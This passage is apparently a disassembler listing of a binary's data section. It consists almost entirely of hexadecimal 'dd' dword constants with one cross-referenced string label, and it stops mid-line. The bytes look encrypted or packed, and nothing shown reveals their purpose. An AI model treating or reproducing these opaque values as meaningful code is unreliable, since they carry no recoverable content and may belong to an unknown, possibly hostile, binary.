2CAB4A8Bh dd 0CE25E9ECh, 0AF23D36Bh, 1136167h, 0ADD71CA9h, 0D5109C27h dd 2C6A1379h, 0B4E8B057h, 120FD640h, 0F2A1FE84h, 6F68092Bh dd 441EF70Bh, 58556AFEh, 0D48B0769h, 12BE17EDh, 0E1604D7h dd 0ABE0075h, 185ECF15h, 93386D68h, 0FBA4AA77h, 2532C53Ah dd 970BB072h, 0D6B2805Ah, 69B75317h, 697FD94Dh, 70E0F07Bh dd 8B9351Fh, 0A867952h, 0FEEB8Eh, 197786BAh, 0A7294D27h dd 7B02D0C0h, 7DA0621Ah, 0C680CB45h, 0EFCD73DBh, 3976C505h dd 1278FC6Eh, 5B9A151h, 5F8B8E91h, 0E93B28C6h, 0A7E5CE96h dd 36A1877Ah, 0FB75BD5Fh, 535F19BFh, 6424FAFDh, 0B273EC4Fh dd 0F58100A9h, 113F27D8h, 97A0EDD1h, 0CB3F2F68h, 0C71E781Bh dd 0E98657CCh, 533F906h, 311274C6h, 4F43F043h, 190F6518h dd 2F211D0Fh, 0AAF454EEh, 4E41E950h, 68A77063h, 19BD44A4h dd 357BF6ABh, 0F3DCB8BAh, 61D4C4E9h, 68F120EAh, 8FA81945h dd 0DD82CAE8h, 47E0FB43h, 599C5BDCh, 0E763702Dh, 68204D9h dd 0AD49E905h, 906B46FEh, 0B74E333Dh, 670AA847h, 0E9E86865h dd 0D4E72131h, 0C11B203Eh, 0ACF60CE8h, 68579BC0h, 3944C22h dd 81475F62h, 58A12FCFh, 0FC127014h, 6C845B02h, 5FDE3AE9h dd 123F5367h, 27ADB936h, 27E62010h, 4432DC66h, 8446AA3Ch dd 2E9957B2h, 47347FFDh, 82528E87h, 0FDDC5AB7h, 41F2B056h dd 0C7043FB7h, 80007AA6h, 686607F4h, 0E845E12Dh, 3E7BB579h dd 5932EC30h, 91FDB2CAh, 882FC195h, 16BA1DDEh, 4376C5B5h dd 2A5E3EEAh, 9F158F9h, 769C70C0h, 0EE8B4082h, 6FFDBEE4h dd 86A018EBh, 0BF057025h, 0E355300h, 0F750C534h, 10EED0h dd 2D1C9339h, 20194694h, 0B716A9EAh, 111314D1h, 0E8033C87h dd 98A8C151h, 0DB9ED132h, 0F27585E0h, 574E6405h, 0D88CF01h dd 4C795226h, 96CA4A62h, 0DD72BE7Eh, 0C964F38Bh, 0C1ED6B41h dd 40F54A60h, 4A0EB2E3h, 67AEEA80h, 59D4DFCAh, 0A570A1BCh dd 450E5601h, 8C06208Ch, 3C280860h, 3181FA3h, 0A7631031h dd 803B0C80h, 0B480833Ah, 2908C493h, 48F406FAh, 0E5F72020h dd 20823120h, 0DA3245A4h, 0EC811BEh, 8430220Ch, 40E28C40h dd 7640A897h, 208D625Eh, 0E7036B95h, 51101066h, 650418E1h dd 81F18D08h, 7C41986Dh, 816FE409h, 0ED3188DDh, 0E950C4Ah dd 1E636648h, 10DAC808h, 10158E18h, 36184269h, 0EABE086Dh dd 947D20C6h, 0BACF2008h, 8C66BB0h, 3128888Ch, 7608583Fh dd 0F188C7Fh, 665F08EFh, 8147181Bh, 8DEBC33h, 9E2918FCh dd 0E48F2064h, 998C4781h, 0CA08411Ah, 40796540h, 9340375Ch dd 0FCC4A8DDh, 512B8188h, 532337D0h, 8100B9Ch, 78190FB7h dd 1916168h, 0A60153E4h, 99188896h, 498D084Fh, 0CF23608h dd 54087B9Dh, 4042A440h, 0F04045DFh, 30926EEDh, 190CA568h dd 407E1035h, 7763025Ch, 18116F08h, 854A518h, 0EA805D3Ch dd 0B1E5800Ah, 73FA28C6h, 561D3108h, 790A218h, 0F80570E4h dd 81D84CCAh, 0BB407B08h, 309FE1DEh, 0CA08779Fh, 8C9595DCh dd 4B99132h, 0C2F80048h, 46F710C6h, 0E60D2008h, 344D5D20h dd 4C79D4BEh, 4C2105D8h, 650FCF40h, 4A5B482Ah, 888825A0h dd 930C1511h, 0C987E119h, 18220818h, 85033922h, 0AE101992h dd 1CBF9DDh, 0A8018A9Eh, 76D2016Ah, 80CF1095h, 108D9310h dd 591B6D5Ch, 94EB207Fh, 5063087Eh, 19AB7E18h, 183D4E08h dd 0DB81A881h, 0B05C10CEh, 20F4CD2Ah, 6020DC84h, 33743179h dd 7E0FC28h, 20101DB6h, 72548CF9h, 9840D4A0h, 2D4B4056h dd 4088DA40h, 0B241757Bh, 0B04004B1h, 0EC9401E1h, 156FC01h dd 2F017CB5h, 16ED01E4h, 4353308Ch, 64626A08h, 2098318h dd 9F02249Ch, 677A035Bh, 55C10810h, 245FC610h, 8C89CC81h dd 39702C44h, 4A8B4096h, 62B38340h, 0BF481826h, 0CDFE80Fh dd 6B0852CBh, 0EE891C64h, 0FC9C6001h, 58A432E8h, 80EF0CF5h dd 0F1C73F44h, 804198C8h, 2C03473Bh, 13EB0275h, 0B90E1B89h dd 5D03DA7h, 8F004401h, 0C90B4940h, 588BF775h, 1674BA74h dd 0C8F003DEh, 0C07833C9h, 4FB10F0Ch, 0BFAC2C30h, 1AD24CA3h dd 0E5BA2802h, 5E70656Ch, 25E20135h, 0D834B841h, 0DB387EEAh dd 0A9ED5A85h, 5F5CEF00h, 11E936A9h, 3B30704Bh, 17AF6FE6h dd 0E1D5F75Eh, 0E90A85B1h, 8AAEF623h, 512F7C95h, 0C4EE5403h dd 86AA25C4h, 494B24AEh, 0CBDE79EDh, 0DFA092FFh, 7B8F3710h dd 0E4BAA9F4h, 63F68019h, 8C3A8D76h, 865F49F6h, 38C3E08Ch dd 5281586Ch, 0F212C2BAh, 2807A6Fh, 0BDF73BE9h, 0AE09F8C5h dd 33F20Bh, 7EDD4FFCh, 29039D25h, 0E985135Bh, 0BA92C4EFh dd 148BFC7h, 152AF8C6h, 302A70h, 7468B951h, 291116E6h dd 0F285E8CEh, 0E283DC51h, 0C65D4257h, 3A5A31C5h, 0C930046Ah dd 0BEF42F49h, 1A4C9D73h, 0E9952C06h, 653EBAB9h, 0FA5DE65Ch dd 8941558Bh, 0E6CA02F8h, 0D7A533E9h, 2638FE7Fh, 9D913B1h dd 5523EAA4h, 0E4D98B47h, 0BF8C00DBh, 7409450Fh, 0DB121EBDh dd 75FCA96Bh, 15E2BB05h, 6C0EFA83h, 307C83FBh, 0A0A0F2E9h dd 5C6AF7B9h, 20344BCCh, 2D08A8Ch, 0FF12C960h, 65B2E933h dd 1C88308Fh, 1B3A108Ah, 5A1CE3D1h, 0ABDA4E5h, 37EC1604h dd 8DAF7C01h, 0CA0C06E0h, 7D25BE87h, 0C5F79E3Ah, 52E98B6Eh dd 40DF6062h, 0F4E5D1ACh, 0E72F4B56h, 3D680BB7h, 0B7B9C446h dd 34E98EB0h, 0F8BF7C40h, 0DA40F02h, 0C82FA09h, 42880104h dd 457B0388h, 0EC3113A8h, 367D5D83h, 850C376Fh, 0B9084014h dd 9B35880h, 1E62D5FAh, 0D5791635h, 0ABA86F18h, 925529Ah dd 6B23576Fh, 823B45D7h, 63A31855h, 0AA1CE83Fh, 63167467h dd 908CBFE9h, 4DBD5526h, 41E01706h, 4E0BB3BAh, 965E631h dd 0F91C5721h, 0D688BB0h, 13BCE3F9h, 42C84EF2h, 4CA425E9h dd 5CE6315Eh, 0A0B87E8Fh, 1A2910F0h, 0C3DAE9C2h, 57FDB957h dd 98309620h, 0E9D2081Bh, 8100B915h, 6579CBF3h, 36D9F66h dd 564B130Dh, 0BEA5C238h, 0C8E2D762h, 9D4B900h, 943813Fh dd 0BA68FA10h, 4AB6674Fh, 7136E90Ch, 860AB814h, 0A460AB09h dd 7B3A3F00h, 0B5CBE96Dh, 1C5B9307h, 5300F81Ah, 0C5811EE8h db 0DAh aMov@ db 'm▌v@',0 ; DATA XREF: ___:0042CC94o dw 0C4F5h dd 0E90C1A43h, 0ACC21650h, 0DF306168h, 0FC2FA66Dh, 102F585Ch dd 65D63CD8h, 0C60F6009h, 1DD84BEBh, 0DAA8E45Ah, 0E71CE90Ch dd 312A2E9h, 0C1BF7553h, 7FB49EDFh, 207894F2h, 68155F6Ch dd 7C93080Ah, 0E7839760h, 505B6C6Dh, 0D423C967h, 0A302C77Ch dd 57345D52h, 703F92D7h, 270B7CB4h, 17F018EDh, 65D2402Dh dd 99B23055h, 2F4FF01Fh, 6EC5CBF2h, 8225FFFCh, 0C1F97605h dd 9DB8CD30h, 23A21615h, 0C669F531h, 2EA18A80h, 86974B67h dd 7C7D5B0h, 9A33C1C6h, 47EE604Ah, 1EC6D25h, 111CCE6Dh dd 0F8141DA2h, 6C66095Ch, 0B5FC597Ch, 941888C2h, 0CB329FD0h dd 40AA6522h, 934DC575h, 13B9F929h, 9BE30F60h, 4C7D3904h dd 0DA5E813h, 202EB8E9h, 8178243Bh, 0BC07ECF0h, 0F1518541h dd 92FB5D1Fh, 0E360F5EFh, 0C3974B25h, 0C710FD37h, 30144C52h dd 50EAC1DDh, 517B4848h, 6EFAC202h, 45F7010Bh, 0FE0F8BFFh dd 809576E4h, 6B49B39Ah, 5F63FE27h, 4D35A678h, 0CC7E85D7h dd 3E015CE3h, 2831EE80h, 0D5C6D5FEh, 60FB215Bh, 46402D1Eh dd 0D9F72D41h, 0C100EC5Ah, 0FCA8ACC9h, 12D2BF57h, 0AE2E770Bh dd 4D703AC1h, 0EEC50D64h, 59919217h, 0CD5E5B5Bh, 9BD9FCCBh dd 15BCB4B5h, 0B76B79E9h, 2D06E000h, 541BB017h, 111C8A9Dh dd 0E35CD402h, 89917C57h, 0C92E2C4Dh, 4C34CAC5h, 61145275h dd 0A7406B58h, 42C985DFh, 90DCFA89h, 0E8C5CF9Ch, 90B96C4h dd 68A881C1h, 0A1BF18E0h, 0AE1A2AB5h, 6FECAFCDh, 4F7F991Dh dd 1607FA86h, 3CBC9280h, 1C00DE91h, 4061DA3Fh, 208D0235h dd 0ED812C02h, 6205305Eh, 0B410C529h, 4E185908h, 45013A8Ah dd 87DDF74Dh, 0DA60D2D5h, 7782FE43h, 7C1491C0h, 6B621640h dd 96DD18E2h, 96172E71h, 0CF4F58F1h, 0CC605582h, 3B7219E3h dd 0C435A2Eh, 0B72D9603h, 0EACBE83Dh, 18671454h, 0C148F4C1h dd 0D876B603h, 0C5CC0939h, 70772741h, 0C3CF2D5Ah, 27DABF04h dd 98D00F76h, 3B30EA68h, 4E794B5Dh, 8B05A2FBh, 13E55221h dd 0BD5CF3E9h, 9E53DF0h, 8057B93Dh, 0B63996F8h, 4FC59010h dd 0CDD2C004h, 0E05603Fh, 31EBE97Eh, 0FFD6C31Ah, 0E90C5696h dd 5D0143C7h, 1CE038EAh, 2CF74A4h, 42F1CCCFh, 0E9180058h dd 0BB3C6224h, 0C20E2405h, 81DE092Ah, 68B5185Fh, 0A22AE10Fh dd 3DDA8635h, 0B5565166h, 0B05D05E2h, 0D7B6D1ECh, 78766B03h dd 98705CF7h, 0AADF01C6h, 6D7C8F30h, 0E06AB450h, 6092F6E7h dd 0FE875A38h, 0B9075152h, 3C6862D7h, 0D70F7BE7h, 60EF5888h dd 53BA100Dh, 2201BC64h, 55AD129h, 72EC7765h, 49B02DE9h dd 81C2CFF4h, 3FD2C50Dh, 0FE4A03B5h, 19403D5Ch, 8102EFC1h dd 74D00ECFh, 0F7C02889h, 2C166203h, 0EFFC4771h, 215D939h dd 0E9FD2902h, 0E8BC4B80h, 3B357CCEh, 17361EEh, 0F1885DFEh dd 8121A9E9h, 0EB41F723h, 37EC9330h, 24799707h, 0C6D8C4CFh dd 574F0213h, 2423564h, 0ABB03F7h, 0EE4F0037h, 130D4110h dd 0F4B8465Dh, 4A961453h, 65693DF3h, 3D170C06h, 2C7BCB07h dd 2BB364B6h, 886E1CA4h, 285F89D3h, 0CE70EE77h, 114B6843h dd 0EAF4949Ah, 725185C0h, 0E281037Bh, 0EC75BB1h, 3B2F2B0h dd 8950D813h, 2F0E57FDh, 1CB9A52h, 16C11677h, 0EC0A12E9h dd 0C809D237h, 0BF20F7FFh, 4F7773F3h, 10464248h, 5B2D7155h dd 0A0124350h, 3A5ED0EFh, 843F47ADh, 0A3285A68h, 8FAAD2E7h dd 798C5B5Ch, 66EA9D35h, 53F79085h, 4F0BAFF3h, 0BA75D45h dd 85D55451h, 0A140AA14h, 461428AFh, 76CA0481h, 8023E45Dh dd 1932E200h, 0DB186360h, 0A062DD38h, 25B3AA6h, 0DAF77A61h dd 0D84AA2E9h, 0A7E1945Dh, 65F10825h, 52BA933Fh, 0DF842CBEh dd 0E3005545h, 804BB2h, 0B151D0C2h, 8D02E930h, 680684A5h dd 20636382h, 75987DFFh, 741DCD05h, 0F68007E8h, 4FEA303Dh dd 68C5A4F4h, 0BE0239B2h, 29A31839h, 0BC32DF31h, 125E158h dd 3CC9EC77h, 4F804781h, 31B25E8Ah, 0A92C68D2h, 786B9C3Dh dd 2A8C7AC7h, 2E8B275Ch, 1C5D5451h, 34FF2594h, 6C681240h dd 0E6D3FD46h, 44ECB789h, 0B2D6E962h, 6298FC5Ah, 0D8C4C971h dd 0A0576A20h, 272DC6D6h, 1979686Dh, 53FF263h, 6C47BD0Ah dd 0B16BC3CAh, 8078BDE4h, 0B9037C3h, 73FF3868h, 342013BAh dd 41BB3B4Ah, 119DBA87h, 6EF6CAB9h, 9B9883A5h, 5D3B9A7Ah dd 0B7683C21h, 7F404325h, 1757413Eh, 61BC34E6h, 0C79D70C6h dd 5B03D4ECh, 0D9296A71h, 3DCF150h, 0C1FAF26Ah, 541211E1h dd 583A160h, 0FF5D642Ah, 82DCF833h, 0F5610D68h, 7C275A65h dd 509D96A5h, 723CB26Bh, 19F66AC1h, 0C444AC5Ah, 0CA14F66Fh dd 6CC45500h, 0D4703905h, 0C731CC0Bh, 27A2D758h, 8B57EFC2h dd 7350FEA8h, 71A42DB4h, 8154E905h, 18E65E44h, 0FB3C2814h dd 0D1EB781h, 0CA0C8B53h, 20005F44h, 0C73A5C6h, 0EED545Fh dd 0F67A6487h, 74BAC57h, 5E7667E0h, 19E2A3A8h, 0C15F8747h dd 2305213Eh, 0B4D67405h, 0E3283200h, 38F38058h, 0ACB94B04h dd 0D7BD10F0h, 0AB25B29h, 2266431h, 59DC5265h, 32D7DA5Fh dd 127030FFh, 1421F409h, 0EAB0F7FAh, 6F2516D5h, 0A006DE75h dd 0AF5F4A08h, 42E74C1Ch, 0E9F15D44h, 4F4B0993h, 533B8E5Ch dd 0C9DFB8B8h, 195F5F59h, 282CAD33h, 8638B75Fh, 61747F1h dd 0C722BFF2h, 7024A451h, 702F4B66h, 0D86812C2h, 0B5736172h dd 42D723Fh, 4A634B43h, 49585EB8h, 0BB562F05h, 0E402EF34h dd 0C808D3E9h, 2E51E6A5h, 3E7BD53h, 1C4245F6h, 3813ABB4h dd 88A25004h, 58C08EAEh, 43CF003Dh, 0EDE92097h, 3152CD1Bh dd 0F2D6E01Ch, 67BDAC9Ah, 37688562h, 0FF2DAA3Fh, 1D585420h dd 9A32DB01h, 43DD30FFh, 4ACC0EDFh, 29A06FBAh, 0B40EE9CDh dd 0A40345D6h, 4A5EF131h, 88DB91E6h, 0E1C18F0Dh, 5A7D45AAh dd 0DB2ECF05h, 4B3E9FEAh, 0CD367F4Ch, 0EB775CFFh, 2F41173Fh dd 383F51A1h, 0F782F7B5h, 0C6BB1518h, 350D5905h, 52D8D921h dd 5E5030E9h, 733FF6A7h, 0CC04A79h, 0ABB7EB6Eh, 8CEE5FE9h dd 2FE46835h, 0C8371E26h, 0ACD4C05Ah, 47AF0207h, 0BE9FA89h dd 2E055A68h, 22690A13h, 0C0105CABh, 3C92586h, 409620E9h dd 1CCA56ADh, 0D0B3CB64h, 0E90643F1h, 4659B63h, 822603F3h dd 3383FE01h, 9C16FCFCh, 11BC472Ch, 1225D82Dh, 32690768h dd 8F615B22h, 54228B0Eh, 2583FB58h, 9743115Eh, 0F179030Fh dd 2CD444A8h, 0F2B4E4DFh, 40EC96B5h, 10E1BB1h, 0DE509CE9h dd 3D147305h, 0AE16439Ah, 9E89E8FFh, 6082A413h, 0BE38931h dd 826D7464h, 657B6FAAh, 312226C0h, 2906440Eh, 40C3E6F9h dd 0CC801358h, 5FFABCF1h, 0BAB444E8h, 2E80228Ch, 45562E4h dd 88CC08C0h, 234E685Ah, 1929DA9h, 5145F9D1h, 9C8F201Eh dd 478D1701h, 9FE9EB31h, 592D4E6Ch, 2FFE18C0h, 0C2125091h dd 58F79ABBh, 0F3F461AAh, 0DEEE032Ah, 16BD5898h, 5696794h dd 0DD0B5918h, 66C2967h, 17066BD5h, 1EDC28C8h, 31A3A02Bh dd 4049FA88h, 0FC9CF0BDh, 0CDF45F48h, 8A85C151h, 9CD4F610h dd 0EBDF291Ch, 54C31CBBh, 0AD10E31Bh, 10BC0E87h, 0C4B032E9h dd 0E9C4B834h, 0B7566397h, 705E93Fh, 61824DE9h, 41F74073h dd 93014120h, 7004926h, 70C217A9h, 41D100F7h, 1483B850h dd 40584A03h, 0EB917FC9h, 0BB85574Bh, 0AFCF522Ch, 0DCAFB91Fh dd 28025133h, 0FE4B15h, 66B4EA77h, 73974E79h, 0C6B81C2Ch dd 993E3D7Ch, 0E93A5C90h dd 8106CC1Ch, 1A5B655Fh, 13DFC820h, 102BE1Bh, 0FC149ADAh dd 1BC33A44h, 0C7C0CCD1h, 4E100822h, 1006AC81h, 54283518h dd 30A05F98h, 0A33EC24Bh, 6C017A11h, 5D2D0C90h, 0EB4B296Ch dd 9DC7FCE4h, 0EC5860E1h, 0A5B56D42h, 88E0F7DAh, 0D3DFDF5Ch dd 318C82B7h, 5158F8DEh, 0FDEF2FE9h, 0CEC21C56h, 0F8BBA977h dd 7CD1EE2Ch, 1B7A4C5Eh, 0C080C193h, 0DE160478h, 1F5BE308h dd 269B4B49h, 39A45CD9h, 56A3DB3Ch, 0F3DEBB2Fh, 2AC4FF6Eh dd 3EC708CDh, 3E700D5Dh, 3AF89F29h, 6FC0F976h, 0CA8192D0h dd 353009B8h, 1009516Ah, 63F85982h, 0FC280543h, 870EC95Eh dd 5B4893DEh, 1D5E020Ah, 17F4B90h, 0E9F18900h, 2D56BE0Ch dd 687026FEh, 570B5579h, 0ACF8502h, 66F601EEh, 0F0610E7Eh dd 18D7ADCBh, 0A74A74E3h, 13BF4AC5h, 0A8FBACBh, 0C8B70F01h dd 7C338F68h, 0F01FCB36h, 91B950Ch, 0AECBBEDAh, 0A22D28D0h dd 0C92F3A7Ah, 0E06AD646h, 6D866850h, 48C937C4h, 0D0FA0104h dd 0A41AB451h, 978A4559h, 2ACA66ABh, 715A4590h, 79096C40h dd 0B05915B4h, 6FE81746h, 0A300EA16h, 78E37631h, 80DA9A29h dd 17C35B08h, 0EFF0BAE9h, 4DDECD28h, 0F22AF95Dh, 87F1959Ah dd 0BC0FE963h, 0DD63B5D7h, 2D0C0324h, 0BCD7B930h, 6D1071D1h dd 62F18E56h, 0D5293968h, 92754DB9h, 0AA018Bh, 0DA6B62BFh dd 8E945B6Fh, 0A6BA5164h, 22BB97D9h, 6C804E7Dh, 0B228F9F6h dd 0E6C1730Fh, 36C62008h, 980D0E67h, 3D991624h, 39DA0456h dd 84EEAC87h, 58000FC5h, 8006E7C0h, 4A25F738h, 0AC5E70FDh dd 4F2CBC6Ch, 0E823015Fh, 81DBC4E9h, 8EEC52Bh, 0EDD87945h dd 62D014AEh, 0D604D116h, 0FE2A8B23h, 806C6D4h, 0F8155A5Dh dd 0C1501E19h, 0FC59AF4Ah, 70322EB0h, 263B639Bh, 4B804FA2h dd 550BCF01h, 6A7504E9h, 0BB3940AAh, 0B456817Ah, 8F829BF0h dd 0CFC5A4EFh, 47CD480h, 4A1A002Ah, 77B4F281h, 0D7FE6003h dd 224AAEB0h, 24469D41h, 0CF7078A3h, 0CA3080BCh, 8C5F769Dh dd 0EA6305C9h, 0B60AAE62h, 0E697F5Dh, 0B06802Eh, 0E95AF028h dd 0B8E05F31h, 0C0DFC50Eh, 5CE65FD1h, 9C07A3Ch, 58504271h dd 32A90506h, 20D254E6h, 0C1128428h, 2B906E3h, 7EAAC301h dd 3431456Eh, 8966E568h, 4BA6E351h, 314ECC0Bh, 0F0E11D26h dd 0DBB81E17h, 0DF6AF24Ah, 42C289D7h, 7F00C05Bh, 8EC696FDh dd 320F12A3h, 0F0B287AFh, 6C6B94C4h, 3967720h, 76EEF025h dd 79A06194h, 7CE042F2h, 60B7F5A0h, 9817C780h, 9423CF28h dd 56F48C7Bh, 11C2405h, 7C5D89CDh, 9BFBAAB3h, 31CEBEB4h dd 0CE72984Bh, 5C7D2195h, 0FBA6F031h, 0C2451641h, 0F60F334Fh dd 0EFC536B2h, 165AE902h, 0C08A2266h, 76B6C84Fh, 29FEF5D7h dd 0AAD82E6Bh, 0C4EE4462h, 0B6FE2628h, 11A9E13h, 0C99ED9E9h dd 0B51099ADh, 33B0CC1h, 9BCD024Eh, 0D57D6362h, 0B70094C4h dd 21B9CA2Bh, 10D5DE8h, 7C6E4F1Bh, 6FD160E9h, 0FB4B8DA7h dd 0F9D9817h, 0DE9CB7Bh, 86DC96E9h, 1736A63Fh, 0C7E9D44Bh dd 6E3CB196h, 6599B8Eh, 0EB9D310h, 7346F480h, 0FF819385h dd 0EE044A8Ch, 4B3D8E2Ch, 7458D71Bh, 3EC7BC8Fh, 0E059A5ADh dd 1793B03Dh, 0FF283F34h, 19AD8021h, 8D7036A5h, 0EC089DA1h dd 98950E6Eh, 25100CC1h, 127522F5h, 0AA7D8460h, 0D9BA31F4h dd 8A871E0Dh, 0E0F3A612h, 4D79602Dh, 0F8917EE3h, 955E921Ah dd 3009BB53h, 10477FC8h, 426768ADh, 77279AF6h, 9985DEEh dd 10ACEC4Bh, 3A60D7FFh, 6A4383F1h, 2CEDDB5Ah, 3F921CBh dd 0E682A997h, 1067E05Bh, 23520B0Bh, 0B6669C68h, 81095379h dd 854A3509h, 1794C19Ah, 3C869AC7h, 0FDC0A079h, 82B9B44Dh dd 75E2D971h, 50D4AE42h, 4A60FE59h, 94380423h, 0EA3C8B1Bh dd 0F82EB379h, 0C068A08Eh, 0BC98BF57h, 0CE9F783Ch, 0FD4D9D5Bh dd 60147FA5h, 98A5A4B7h, 9BAFEED5h, 12165B2Fh, 0E17ED1CDh dd 0A3803F0Fh, 5230E9F5h, 6816EDE8h, 6F3EF1AFh, 0A19054F3h dd 0C984220h, 4A98FF38h, 0BCC974EAh, 3973056Fh, 48C546B7h dd 27B92956h, 0A758A391h, 6582403Bh, 62E3E921h, 73A4ED7h dd 0AB203AB8h, 98F58B25h, 5A38771h, 70E9B9C5h, 0AA7C66ECh dd 9B99A40h, 4752148Ah, 0D4816470h, 7BC7207Fh, 5DFDC1BDh dd 14AAE60h, 8104DE11h, 0F45482E2h, 0E727E977h, 8E24C127h dd 0EAB71E70h, 95CF2480h, 12441035h, 0D821C731h, 8DA85EA7h dd 15452D60h, 0A605EC3Bh, 97D320Fh, 39FDAE01h, 137070DBh dd 0BA6F0BBBh, 38A82959h, 79E90908h, 44C270E8h, 294B0CEEh dd 423F67E8h, 1EB69C99h, 697AC3BDh, 0BA01D634h, 0BAFAF87h dd 5D4A62AFh, 0EA83FBC0h, 8E80599Fh, 0BB877EA7h, 60F869E9h dd 0DF6351Eh, 109603DEh, 10E856C5h, 933FF13h, 0F0290721h dd 598919FEh, 0F6BAD7EBh, 0B130D452h, 0E0C12D99h, 5B05E803h dd 232AA19Dh, 0FBF71477h, 14887064h, 2FBDDF2h, 3BAF571Dh dd 0CAA4C27Dh, 2B63FD62h, 349718C1h, 8C12C6CBh, 29EEF030h dd 765130BCh, 327F63C1h, 162E6DBEh, 6503EE9Ch, 0AA648FCDh dd 59B840Dh, 0C0F43BC0h, 29B2246Dh, 0CA860D97h, 3F43E40h dd 68520257h, 74D761DAh, 3FDC8B40h, 46D85081h, 0DB015416h dd 0EFB61E82h, 0F169D2CEh, 8E497A53h, 9D604557h, 0E984A3EEh dd 34FA1897h, 1A6C2FFh, 6937715Fh, 0AE514704h, 0BD5965D8h dd 5925D2C5h, 4874A71h, 81D916C7h, 52CD7D81h, 837F69C5h dd 81ACBB18h, 0CF3853FEh, 6FCE0802h, 0CCFC5D21h, 44527C3Ch dd 0A0334A0Ch, 571C7429h, 5D022453h, 29224130h, 5B0C023Ah dd 3A817758h, 380EFB68h, 261CC49Fh, 2DA1E930h, 73B5189Dh dd 5C9C814h, 11F58180h, 0B54AA43Dh, 7BE9B470h, 3CDEA510h dd 959C936h, 8908F781h, 30A6769Ah, 0C81AEF12h, 0A61775FDh dd 0E808EB08h, 6092560h, 47298881h, 87333109h, 0D56CD712h dd 0E3C98190h, 4F5F3046h, 0FB1A7B0Ch, 21E9664Bh, 5905CA8Fh dd 1E6045Ah, 0EA1DC049h, 0E758F9F7h, 4FC038E0h, 0A23EDE99h dd 0A1C1CEA0h, 8B9BE9CAh, 66823E29h, 9CDD0111h, 6DA2958Ch dd 24F763D4h, 71FB58C3h, 0C20D1DB4h, 0C953F155h, 7E2FEE51h dd 4DDB8809h, 18284167h, 3BB7825Ch, 0C84BD02Ch, 3B1D243Fh dd 0CCD951A5h, 7B27E989h, 88F6D184h, 9920ED82h, 0B02FE0F5h dd 0AAB220C7h, 3FA852F5h, 90443D5Fh, 582C3C22h, 6468C7F5h dd 0C1BAFC34h, 43E62657h, 0A93CC921h, 312D5F16h, 6376553Eh dd 0DE291479h, 4CF239A8h, 0E45E2EA0h, 5E80714h, 400C4DBAh dd 0C1B384BBh, 45493A87h, 212D44D9h, 7261FED8h, 0D78ECDE9h dd 7CE2DE89h, 82920118h, 38B18D41h, 2E0D5105h, 54F42EADh dd 0FC167B05h, 0B9342067h, 234ABB55h, 89D10FAh, 29D0C60h dd 586916F2h, 27EF7ED5h, 3980DD5Eh, 0E90F3263h, 0A8E84F4Fh dd 2BB09681h, 6B2D3F79h, 8D353D16h, 8DD548B3h, 8BA8B85Bh dd 2901E4C6h, 2C925A48h, 5407C450h, 0F8049EB0h, 1AEB72EEh dd 5414C75Eh, 0AC201897h, 1323C6D3h, 83148F72h, 261F2922h dd 5D8E2D5Ah, 0D85F5E9Ah, 1A02B07Bh, 3D14C7BBh, 0C42E3FC6h dd 6ABD8076h, 159F868h, 0A4BEA7Ch, 0CB29A700h, 143CEB81h dd 837B032Fh, 61265B09h, 0C64FC2F0h, 7C805694h, 7C1A0648h dd 58E0F25Bh, 3E67B545h, 557BB2B2h, 0FC021041h, 76FA8CCBh dd 2D504460h, 0B49F68B2h, 9AA0BAFFh, 3F717C95h, 351A3513h dd 7855FA8Ah, 3071128Eh dd 73E1F741h, 0DAC37F6Ch, 27A35458h, 5CC22D53h, 0C9A5905h dd 0DEF5AE99h, 0D6F3872Fh, 15F600AEh, 0EFD1115Bh, 0C7024BBEh dd 5FCF4978h, 0CE00A68Fh, 8EE94786h, 0F95D3662h, 0B48575Fh dd 1F94EB24h, 0C8ADDB27h, 54E53204h, 0A8AF715Fh, 0FD70131h dd 0F0E92686h, 0D8458912h, 0F51B015Bh, 5DF4CFFEh, 0D79EA916h dd 60EF5F20h, 800AA605h, 0D9A0B6ACh, 502572D0h, 806A808h dd 0A5BBD12Fh, 613B3202h, 73A4AA73h, 0D2B4D942h, 5AE5B066h dd 0ADED8404h, 4868C278h, 0C6B1A56Bh, 0E95FCBBCh, 0CDDFC6E5h dd 5AF317D1h, 1000A652h, 0B2032907h, 86C28064h, 0DAA2D1h dd 9565B652h, 0F62CA050h, 0B358FBDEh, 0E38007D4h, 56D3F699h dd 0F80907CBh, 5757B050h, 9011404h, 7C6FF50Ch, 41927927h dd 2E2778E9h, 2D5E3C31h, 2C351081h, 0E8014777h, 99942B6Ch dd 578961EAh, 286E8454h, 6EBC000h, 80FEB252h, 0E5DCEA51h dd 0E9D3FCC2h, 0D9D6F42Fh, 91103C67h, 0F154505Eh, 5D230116h dd 1D92D708h, 9B10E758h, 7782CECBh, 35F6F2FAh, 55104001h dd 2C38E932h, 0A8B5E380h, 0E7C075B7h, 74B4084Eh, 800739EDh dd 4EC792E3h, 2EC7EF83h, 6E3059A7h, 27440467h, 65F447A6h dd 0AF82FE4Dh, 9AD59CCh, 0F854E762h, 7CA08A93h, 401B0BBBh dd 0A0480572h, 3B04A0EBh, 514B2426h, 0BE44DFC1h, 5EF7AF04h dd 10F0ED5Eh, 0BD5F9532h, 0F6C0B99h, 5986D7B8h, 1240D68h dd 0F2195CFEh, 0B66B5884h, 9D62F8Fh, 0F2235A93h, 123EBCF2h dd 8BABED5Fh, 2D30A1B3h, 60C6D24Ah, 0EE60EEB4h, 0AB554BF0h dd 1308DA10h, 0FCB023E9h, 0E2144B8Bh, 1B82A45Ch, 4D284CB2h dd 9648DCEAh, 0AB5A3E01h, 1DF89FFh, 2069A6FAh, 97A228DFh dd 6F441511h, 5CB85085h, 166857A0h, 41F74C12h, 9B0CFF64h dd 25681915h, 85C66CB1h, 22105D2Ah, 5E094D90h, 0F72A452Bh dd 63BE3E0Ah, 0EC816668h, 0D09B447Ch, 3192D35h, 7861112Fh dd 9D19926h, 24C84358h, 3CE61D57h, 1BE5607h, 0AA8AA004h dd 8E2C0F06h, 0C8E82D68h, 958BBC51h, 0BC4FD109h, 622E7A93h dd 0A5413603h, 0E919319Ch, 0FE353028h, 5AC0CB2Eh, 7FA51C32h dd 1FC96C60h, 0DD64082h, 14D2264Ch, 0C0230C71h, 7502F119h dd 1032046h, 0AE7241C8h, 0AF92EF22h, 1A495FCEh, 0D342182Dh dd 2965CE75h, 86C8211h, 0A16B79CBh, 1121308h, 0E813DC73h dd 5048E26Eh, 0B05296AFh, 56451624h, 0E9627CBBh, 0A73B232h dd 85117E5Ch, 754B1B68h, 5538451Dh, 4EEFC854h, 0D87A4F2Dh dd 7FED810Ah, 295A0105h, 31073368h, 0BF9D5400h, 